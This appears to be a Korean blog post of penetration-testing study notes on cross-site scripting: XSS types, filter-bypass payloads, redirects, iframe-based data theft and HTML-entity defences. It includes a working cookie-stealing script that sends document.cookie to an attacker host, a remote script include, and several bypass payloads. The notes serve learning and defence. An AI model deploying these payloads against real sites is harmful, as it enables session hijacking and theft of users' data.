-
XSS 정리 / Client Script 활용 방법[11주차]모의해킹스터디5기(feat.Normaltic) 2024. 1. 16. 18:18
오늘이 XSS의 마지막 시간이다.
전에 XSS는 Script를 얼마나 잘 활용하느냐가 중요하다고 했었는데, 이번 시간에는 XSS에서 사용할 수 있는 다양한 Script 활용 방법에 대해 배웠다. XSS를 마무리하면서 Script 활용 방법까지 정리해보겠다.
XSS
- Stored XSS
- 서버에 저장된 스크립트가 실행.
- ex) 게시판
- Reflected XSS
- URL 파라미터(GET method)를 통해 스크립트가 실행.
- ex) 검색창
- DOM Based XSS
- URL 파라미터(GET method)를 통해 스크립트가 실행.
- HTML 페이지 요소를 구성하는 과정에서 실행되어 응답 기록에 나타나지 않음.
- #(해쉬)를 이용한 취약점을 주로 사용.
- http://dombasedxss.com?user=name#<img+src=x+onerror="alert(1)">
- 브라우저 함수 중에서 # 값을 인식하여 실행하는 함수 자체가 secure coding이 되지 않았을 경우.
- # 뒤는 서버에 전달되지 않음.
쿠키 탈취
- 쿠키도 document 요소임 : <script>document.cookie</script>
- 쿠키는 도메인마다 존재. (naver 쿠키를 탈취했다고 google에서 사용할 수 없음)
- Image 태그를 이용한 탈취 스크립트
<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "http://attacker.com?cookie=" + cookieData;
</script>- 탈취한 쿠키를 받을 attacker 서버는 requestbin에서 무료로 사용 가능(https://public.requestbin.com)
XSS 우회 방식
- 길이 제한
- 서버에서 스크립트를 받아서 공격
- <script src="attaker.com/a.js></script>
- 필터링
- 대소문자 혼용
- <ScRipT></sCrIpt>
- 글자 중복
- <scrscripript></scrscriptipt>
- 대소문자 혼용
- Image Tag 안에 있을 경우
- onerror Event Handler 활용
- <img src=x onerror="alert(1)">
- src 주소가 없으니(x) error가 발생, onerror는 error가 있을 경우 실행
- a Tag 안에 있을 경우
- a Tag는 링크 클릭 시 실행, 주소창에는 javascript 직접 사용 가능
- <a href ="javascript:alert(1)">TEST</a>
- script Tag 안에 있을 경우
- ", ' 사용해서 스크립트 삽입, 하지만 문법적으로 말이 되도록!! 문법에 오류가 있으면 실행 자체가 안됨.
- <script> var data = "___"; </script>
- <script> var data = "";alert(1);var a = ""; </script>
- svg Tag 안에 있을 경우
- onload Event Handler 활용
- <svg onload="alert(1)">
- input Tag 안에 있을 경우
- onmouseover, onfocus Event Handler 활용
- <input type="text" onmouseover="alert(1)">
- <input type="text" autofocus onfocus="alert(1)">
<script> Tag를 사용할 때 조심해야 할 부분!
<script>는 순서대로 실행되기 때문에 페이지가 load 되지 않은 요소에 접근하려 할 때는 오류가 발생한다. (undefined)
그 땐 DOMContentLoaded 를 활용해서
모든 document 요소가 load되고 나서 실행하는 코드를 작성하는 것이 도움이 된다.<script> document.addEventListener("DOMContentLoaded", () => { //실행할 스크립트 }); </script>
- DOMContentLoaded 코드
XSS 대응 방안
대응 방안으로 필터링은 옳은 답변이 아니다. 필터링은 특정 단어를 못 들어오게 하는 블랙리스트 기반이 있고, 특정 단어만을 들어오게 하는 화이트리스트 기반이 있다. 만약 게시판에 필터링을 사용한다면 당연히 블랙리스트 기반이어야 한다. 화이트리스트로는 글을 못 쓸테니까. 그러나 블랙리스트 기반 필터링도 당연히 모든 것을 막을 수는 없다. 어떻게든 우회할 방법이 존재한다. 그래서 필터링은 XSS를 막는 올바른 방법은 아니다.
XSS를 막는 최적의 방법은 HTML Entity 다.
1. HTML Entity 이 중에서 XSS에서 주로 사용하는 < " ' > 이 4가지만 적용해도 웬만한 공격을 방어할 수 있다.
하지만 HTML Entity를 적용할 수 없는 곳이 있다. HTML Editor가 그 중 하나다.
2. HTML Editor 위의 이미지는 티스토리의 HTML 블럭을 삽입할 수 있는 기능이다. 이 곳에서는 HTML Entity를 사용하면 제 기능을 잃어버릴 수 있기 때문에 쉽게 적용할 수 없는 것 같다. 그럼에도 XSS를 방어해야 하기 때문에 HTML Editor에서의 대응 방법은 아래의 절차를 따라하면 된다.
- 파라미터에서 HTML 특수 문자들을 전부 HTML Entity로 치환
- 허용해줄 Tag를 식별하고 그 Tag들을 다시 기존 특수문자로 복구 (화이트리스트 기반)
- 복구한 Tag 내에 악의적인 Event Handler가 있는지 블랙리스트 기반으로 필터링
Client Script 활용
- Page Redirect
- location.href
- <script> location.href = "https://attacker.com"; </script>
- 주소에 값을 대입
- 뒤로가기 불가능
- location.replace
- <script> location.replace("https://attacker.com"); </script>
- 페이지를 이동시키는 함수 replace
- 뒤로가기 가능
- location.href
- 주소창 변조
- <script> history.pushState(null, null, 'login.php') </script>
- 내부의 페이지간 이동 가능
- 서버의 이동은 불가
- DOM 객체 접근
- document의 get 메소드를 이용 (document.getElement__ )
getElementById
getElementsByClassName
getElementsByName
getElementsByTagName
getElementsByTagNameNS고유한 ID는 Element / 그 외는 Elements
Elements의 경우 여러 개가 존재할 수 있다. 그 때는 [ ] 로 몇번째 객체인지를 명시해줘야 한다.
document.getElementsByClassName('user')[1]
DOM 객체의 속성에는 . 으로 접근 가능하다.
document.getElementById('userId').class
객체 내부의 값(객체 or 속성)에는 innerHTML 으로 접근 가능하다.
document.getElementById('userId').innerHTML
- iframe
- 다른 페이지를 현재 페이지 안에 넣을 수 있다.
- 만약 a 페이지의 정보를 가져오고 싶은데, b 페이지에 XSS 취약점이 있을 때 활용 가능
<iframe src="http://a.php" id="targetFrame"></iframe> <script> var targetTag = document.getElementById('targetFrame'); var DOMData = targetTag.contentDocument; DOMData.getElementById('원하는정보'); </script>
- XSS 취약점이 있는 현재 페이지에서 a.php를 불러들여 원하는 정보를 탈취할 수 있다.
3. iframe으로 가져온 페이지 '모의해킹스터디5기(feat.Normaltic)' 카테고리의 다른 글
CSRF 마무리 / DDoS [13주차] (0) 2024.02.06 CSRF(Cross Site Request Forgery) [12주차] (0) 2024.01.29 보고서 작성 / 쿠키 탈취 XSS [10주차] (0) 2024.01.08 XSS (Cross Site Scripting) [9주차] (0) 2024.01.03 SQL Injection 마무리 [8주차] (0) 2023.12.19 - Stored XSS